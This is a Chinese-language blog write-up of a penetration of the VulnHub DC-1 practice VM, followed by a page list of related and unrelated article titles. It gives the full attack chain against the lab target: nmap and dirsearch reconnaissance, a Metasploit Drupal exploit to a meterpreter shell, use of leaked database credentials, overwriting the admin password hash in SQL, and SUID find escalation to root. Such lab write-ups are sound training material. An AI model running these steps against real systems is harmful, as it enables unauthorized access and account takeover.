准备工作

在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/

导入到vmware

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24

可以看到ip为192.168.200.12的主机开放了22、80、111端口,该主机为靶机DC:1。

开始渗透

开放了80端口意味着我们可以访问他的网站,先访问192.168.200.12:80看看什么情况

是一个登陆的界面,尝试了admin等弱口令后没有结果,暂时找不到其他渗透点,只能先用dirsearch扫一遍

python3 dirsearch.py -u http://192.168.200.12:80

但是没有什么有用的信息,尝试抓包后也没有注意到什么注入点,只能看看有没有框架的漏洞

利用wappalyzer插件来查看这个网站的cms

查到cms是Drupal

接着用msf查看一下有没有关于这个cms的漏洞

在终端输入msfconsole打开msf

search一下关于drupal的漏洞

search drupal

在尝试了几个攻击模块后,发现只有第四个漏洞可以利用

use 4
set RHOSTS 192.168.200.12
run

成功连接,得到meterpreter会话

拿到shell

用ls命令查看当前的文件

注意到有一个flag1.txt文件 cat flag1.txt 查看一下里面的内容

拿到flag1

flag1给了一个小提示,翻译过来就是"每一个好的CMS都需要一个配置文件-你也是。"

那就去查看一下配置文件

Drupal的配置文件是网站根目录下的/sites/defaultx下的setting.php文件。

cd到sites 再cd到defaultx 再cat settings.php

看到了flag2以及数据库的账号密码

这里flag2也给了提示,翻译过来就是

暴力和字典攻击不是最好的选择

获得访问权限的唯一方法(您将需要访问权限)。

你能用这些证书做什么

先尝试登陆一下数据库

mysql -u dbuser -pR0ck3t  

连接成功,但是却无论输入什么都没有回显,应该是权限不足,目标主机限制了访问权限

从这开始就涉及到我的知识盲区了,目前为止我还没有学习相关的提权方法,只能跟着网上的一些文章一步步来,也当是一个初次尝试提权

权限提升

使用python 通过pty.spawn()获得交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

连接数据库

mysql -u dbuser -pR0ck3t

 

进入数据库后先查看一下数据库

show databases;

再进入drupaldb数据库查看他的表

use drupaldb;
show tables;

注意到名为user的表,查看一下

select * from user;

找到了登陆的账号密码,密码不知道是什么加密方法,

使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下

回到根目录执行 password-hash.sh 文件进行加密(这里不能在scripts目录下进行,否则会报错)

php ./scripts/password-hash.sh admin

将admin加密后得到的是$S$DJkC7CVBb0dIx0ySitpfjUZyZ8rioKgogBsDSvpAZHOvUy1p4rq1

得到了加密后的密码,就可以进入数据库修改密码啦  

update users set pass='$S$DJkC7CVBb0dIx0ySitpfjUZyZ8rioKgogBsDSvpAZHOvUy1p4rq1' where name='admin';

 

回到开始的网站上用刚刚的账户密码admin:admin 登陆进去

在后台找到了flag3文件

打开flag3文件又得到一个提示

提示找到passwd文件

passwd文件在etc中

这里找到了flag4的路径在 /home/flag4中

得到flag4

使用find命令提权,root。

find ./ aaa -exec '/bin/sh' \;

进入root根目录找到最终的flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

参考文章

https://www.cnblogs.com/Gh0st1nTheShell/p/14842221.html

https://www.freesion.com/article/1909443385/

vulnhub-DC:1靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  4. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  5. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  6. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. vue3.0的变化

    初涉vue3.0,下面是我在demo中遇到的一些问题(我是用的vue-cli进行开发) [1]main.js中配置  第一个变化 vue2.x ===  Vue.prototype.$baseURL= ...

  2. 【NX二次开发】Block UI 组

    设置组及组内成员不可见 this->group->GetProperties()->SetLogical("Show", false); 设置组及组内成员不可操作 ...

  3. Mysql 面试题(一网打尽,收藏版)

    文章很长,建议收藏起来,慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源: 疯狂创客圈 经典图书 : <Netty Zookeeper Redis 高并发实战> 面试必备 + 大厂必备 ...

  4. 聊一聊 Spring Boot 中 RESTful 接口设计规范

    在设计接口时,有很多因素要考虑,如接口的业务定位,接口的安全性,接口的可扩展性.接口的稳定性.接口的跨域性.接口的协议规则.接口的路径规则.接口单一原则.接口过滤和接口组合等诸多因素,本篇文章将简要分 ...

  5. 「10.10」神炎皇(欧拉函数)·降雷皇(线段树,DP)·幻魔皇

    A. 神炎皇 很好的一道题,可能第一次在考场上遇到欧拉函数 题意:对于一个整数对 $(a,b)$,若满足 $a\times b\leq n$且$a+b$是$a\times b$的因子, 则称为神奇的数 ...

  6. VBS脚本编程(2)——运算符

    算数运算符 用于执行数学计算的运算符. 1.加法运算符( + ) 计算两个数之和. 2.减法运算符( - ) 计算两个数值的差或表示数值表达式的负值. 3.乘法运算符(*) 计算两个数之积. 4.除法 ...

  7. WIN10无法进行Android应用开发真机调试解决方案

    在WIN10操作系统进行ANDROID开发真机调试时,遇到的问题主要归纳一下有以下几点: 一.没有打开"USB调试"项.这点不再赘述: 二.没有安装ADB Interface驱动: ...

  8. [翻译]Go与C#对比 第三篇:编译、运行时、类型系统、模块和其它的一切

    Go vs C#, Part 3: Compiler, Runtime, Type System, Modules, and Everything Else | by Alex Yakunin | S ...

  9. Golang的一致性哈希实现

    Golang的一致性哈希实现 一致性哈希的具体介绍,可以参考:http://www.cnblogs.com/haippy/archive/2011/12/10/2282943.html   1 imp ...

  10. mysql中比较字符串类型数字

    操作的表: p.p1 { margin: 0; font: 16px Menlo; color: rgba(0, 0, 0, 1) } span.s1 { font-variant-ligatures ...